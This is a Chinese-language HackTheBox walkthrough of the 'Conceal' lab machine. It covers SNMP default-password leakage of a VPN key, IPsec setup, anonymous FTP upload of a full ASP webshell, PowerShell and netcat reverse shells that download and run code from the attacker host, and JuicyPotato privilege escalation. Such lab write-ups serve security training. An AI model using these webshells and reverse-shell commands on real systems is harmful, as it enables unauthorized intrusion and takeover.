HTB: Conceal

admin 2022年5月16日09:58:53评论20 views字数 6888阅读22分57秒阅读模式

Conceal是一个困难的靶机,知识点涉及snmp默认口令、IPsec VPN、ftp匿名登陆、asp文件上传、烂土豆内核提权等。感兴趣的同学可以在HackTheBox中进行学习。

HTB: Conceal通关思维导图HTB: Conceal

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描,但扫描结果未返回端口信息

nmap -Pn -p- -sV -sC -A 10.10.10.116 -oA nmap_Conceal
HTB: Conceal
截屏2021-10-17 上午1.49.11

可能目标并未开放 tcp 端口,于是使用-sU参数扫描 udp 端口

nmap -Pn -sU -p- 10.10.10.116 -oA nmap_Conceal_1 --min-rate 1000
HTB: Conceal
截屏2021-10-17 上午2.26.41

扫描结果显示开放端口为500,为 isakmp 服务。那什么是 isakmp 服务呢?

互联网安全关系钥匙管理协议(Internet Security Association and Key Management Protocol),缩写为 ISAKM或 ISAKMP。主要用于在互联网上创建安全关系与加密密钥。该协议提供了一个身份鉴权和钥匙交换的框架,主要被设计来作为密钥交换之用。如IKE(因特网钥匙交换协议)和KINK(Kerberized 因特网钥匙协议)等协议都使用了ISAKMP所提供的授权钥匙的方案。例如:因特网钥匙交换协议(IKE)使用了Oakley和SKEME协议的一部分,通过ISAKMP连接获取授权了的钥匙信息。

再次使用 nmap 对top 20的端口进行脚本扫描

nmap -Pn -sU -sC --top-ports 20 10.10.10.116 -oA nmap_Conceal_2 --min-rate 1000

HTB: ConcealHTB: ConcealHTB: Conceal通过扫描结果可以发现多个 udp 端口开放,其中显示包含 snmp 协议。与此同时扫描结果还显示 snmp 启用了默认密码,nmap 列举了一些 snmp 接口。

161端口

使用 snmpwalk 通过默认密码public对 snmp 进行扫描

snmpwalk -v 2c -c public 10.10.10.116
HTB: Conceal
截屏2021-10-17 上午2.46.54

结果显示头部已包含IKE VPN password PSK的值,具体如下所示:

9C8B1A372B1878851BE2C097031B6E43

通过解密网站对该密钥值进行解密,成功解密为Dudecake1! 解密网站:https://crackstation.net/HTB: Conceal

使用 ike-scan 对目标所在的 IKE 进行扫描

ike-scan -M 10.10.10.116
HTB: Conceal
截屏2021-10-17 上午3.00.58

扫描结果显示 IKE 版本为v1,分别使用 3DES、SHA1、modp1024 进行加密传输。身份验证使用的则是预共享密钥(PSK),在以上我们已经成功拿到其明文,说明可以使用该密钥伪造正常用户进行通信。

扩展知识

IPsec 是一套用于保护IP层流量的工具,通过两种协议来提供不同的安全保证:

  • 身份验证标头(AH),主要用于提供数据完整性(数据在发送方之间是否被修改)、数据源身份验证(源是否不是该连接所期望的),并有效防止重放攻击
  • 封装安全paylaod(ESP),提供类似功能以及保密性(中间人无法看到数据) 安全关联(SA)则是用一组算法来动态交换密钥通过AH或ESP建立安全连接

AH 和 ESP 都可以在以下两种模式下运行:

  • 传输模式:在原始IP头部和IP负载之间插入一个ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于内部网络的主机安全地访问内部服务器资源
  • 隧道模式:把原始IP数据包整个封装到一个新的IP数据包中,在新的IP头部和原始IP头部之间插入ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于一个内部网络的主机要安全穿越 Internet 访问另一个内部网络的资源
HTB: Conceal
1

0x02 上线[destitute]

鉴于这台主机不需要穿越穿越 Internet,所以判断它采用的模式可能为传输模式

连接IPSec

使用 strongswan 连接VPN,安装工具可参考如下命令

apt install strongswan

使用该工具前需要编辑配置文件/etc/ipsec.conf/etc/ipsec.secrets

参考文章:https://blog.ruanbekker.com/blog/2018/02/11/setup-a-site-to-site-ipsec-vpn-with-strongswan-and-preshared-key-authentication/

ipsec.secrets中写入传输预共享密钥(PSK)

# This file holds shared secrets or RSA private keys for authentication.

%any : PSK "Dudecake1!"

ipsec.conf中写入双方IP、加密模式以及模式类型等

# ipsec.conf - strongSwan IPsec configuration file

config setup
    charondebug="all"
    uniqueids=yes
    strictcrlpolicy=no
    
conn conceal
    authby=secret
    auto=route
    keyexchange=ikev1
    ike=3des-sha1-modp1024
    left=10.10.14.2
    right=10.10.10.116
    type=transport
    esp=3des-sha1
    rightprotoport=tcp

配置完成后开始连接 IPsec VPN

ipsec restart
ipsec up conceal

HTB: Conceal但是出现错误如下错误:不支持 3des_cbcHTB: Conceal

我们还需要安装相关插件包

apt-get install libstrongswan-standard-plugins libstrongswan-extra-plugins
HTB: Conceal
截屏2021-10-17 上午4.14.12

再次启动成功连接到VPNHTB: Conceal

端口探测

连上 VPN 后我们需要再次使用 nmap 进行端口扫描

nmap -sT -p- -sV -sC --open --min-rate 10000 -oA nmap_Conceal_vpn 10.10.10.116

HTB: Conceal通过扫描结果可以发现目标开放了21、80、125、139以及445端口

80端口

访问后发现这是 IIS 的默认界面HTB: Conceal

使用 gobuster 进行目录扫描

gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirb/big.txt -x asp,aspx
HTB: Conceal
截屏2021-10-17 上午4.56.07

访问目录/upload,但是并没有在其中发现什么东西HTB: Conceal

21端口

通过匿名登录漏洞可登陆 ftp,但是搜索后并没有发现可疑文件或目录

ftp 10.10.10.116
# 账号密码:anonymous/anonymous
ftp > ls
HTB: Conceal
截屏2021-10-17 上午4.27.52

文件上传

尝试在 ftp 目录下上传aspx类型的木马

ftp > put /usr/share/webshells/aspx/cmdasp.aspx cmdasp.aspx
HTB: Conceal
截屏2021-10-17 上午5.03.47

在网站目录upload中出现cmdasp.aspx,说明通过 ftp 可将文件上传至网页端HTB: Conceal

但是访问后出现404,可能上传的木马存在问题,于是使用asp类型的木马

ftp > put /usr/share/webshells/asp/cmdasp.asp cmdasp.asp
HTB: Conceal
截屏2021-10-17 上午5.09.48

访问还是存在问题,可能是因为服务端对执行函数进行了检查,于是上传下面这个简单的木马

<!--
ASP Webshell
Working on latest IIS 
Referance :- 
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->



<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShellobjCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>



<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>

</p>

</BODY>
</HTML>

HTB: Conceal木马能够成功执行,但是每隔2分钟会自动删除该目录下的文件,因此我们需要通过反弹shell建立稳定的连接

反弹shell

使用 nishang 的脚本Invoke-PowerShellTcp.ps1建立反弹shell

cp ~/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .

在脚本最后添加反弹地址和端口并上传

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 5555

开启 http 服务

python -m SimpleHTTPServer 80

在本地开启监听

nc -nvlp 5555

访问木马地址后成功反弹shell

http://10.10.10.116/upload/shell.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.14.2/Invoke-PowerShellTcp.ps1%27)

HTB: Conceal在当前用户桌面上寻找第一个flag

dir c:UsersDestituteDesktop
type c:UsersDestituteDesktopproof.txt

HTB: Conceal成功拿到第一个flag

0x03 权限提升[system]

查询内核漏洞

查看系统信息,发现目标操作系统为 Windows 10 Enterprise 且未安装补丁HTB: Conceal

使用 Windows-Exploit-Suggester 查找相关漏洞,结果显示存在许多提权漏洞

python windows-exploit-suggester.py --database 2021-05-18-mssb.xls  --systeminfo systeminfo.txt
HTB: Conceal
截屏2021-10-17 上午5.28.22

烂土豆提权

选择烂土豆(Juicy Potato)进行提权

cp /root/hackthebox/Machines/Bounty/JuicyPotato.exe .
cp /root/hackthebox/Machines/Bounty/nc.exe .

在本地开启nc监听

nc -nvlp 4444

在反弹shell中执行如下命令

certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe C:WINDOWSTEMPJuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe C:WINDOWSTEMPnc.exe
C:WINDOWSTEMPJuicyPotato.exe -l 1337 -p c:windowssystem32cmd.exe -a "/c C:WINDOWSTEMPnc.exe -e cmd.exe 10.10.14.2 4444" -t *
HTB: Conceal
截屏2021-10-17 上午5.35.34

但是执行失败,查看原因后发现原来当前用户无权限进入目录C:WINODWSTEMPHTB: Conceal

尝试在当前用户的temp目录下上传文件

cd c:UsersDestituteappdatalocaltemp
certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe nc.exe

在将反弹shell代码写入rev.bat

echo C:usersDestituteappdatalocaltempnc.exe -e cmd.exe 10.10.14.2 4444 > rev.bat

尝试指定 Windows 10 Enterprise wuauserv 服务的 CLSID 并使用烂土豆进行提权,在烂土豆项目中查询不同操作系统服务的 CLSID 参考地址:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise

JuicyPotato.exe -p C:usersDestituteappdatalocaltemprev.bat -l 1340 -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
HTB: Conceal
截屏2021-10-17 上午5.54.57

成功获取到系统权限HTB: Conceal

在管理员桌面上寻找第二个flag

dir c:UsersAdministratorDesktop
type c:UsersAdministratorDesktopproof.txt

HTB: Conceal成功拿到第二个flag

总结:该靶机相对于之前的来说有些不同寻常,从使用UDP的snmp协议入手,通过默认口令public可查询snmp接口信息,值得庆幸的是我们在其中找到了IKE VPN预共享密钥,使用该密钥可连接IPsec VPN,连接VPN后再次使用nmap对靶机进行扫描,发现目标存在ftp和web服务,通过匿名登陆漏洞登陆ftp后上传文件,经过验证ftp目录其实就是站点upload目录,那么我们可通过ftp上传木马并执行反弹shell,从而拿到用户权限,由于靶机的操作系统版本为Windows 10 Enterprise,因此我们需要借助其服务的CLSID完成烂土豆提权,最终可成功将权限提至系统权限。

原文链接:https://www.freebuf.com/articles/system/328404.html


原文始发于微信公众号(亿人安全):HTB: Conceal

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日09:58:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB: Concealhttp://cn-sec.com/archives/951348.html

发表评论

匿名网友 填写信息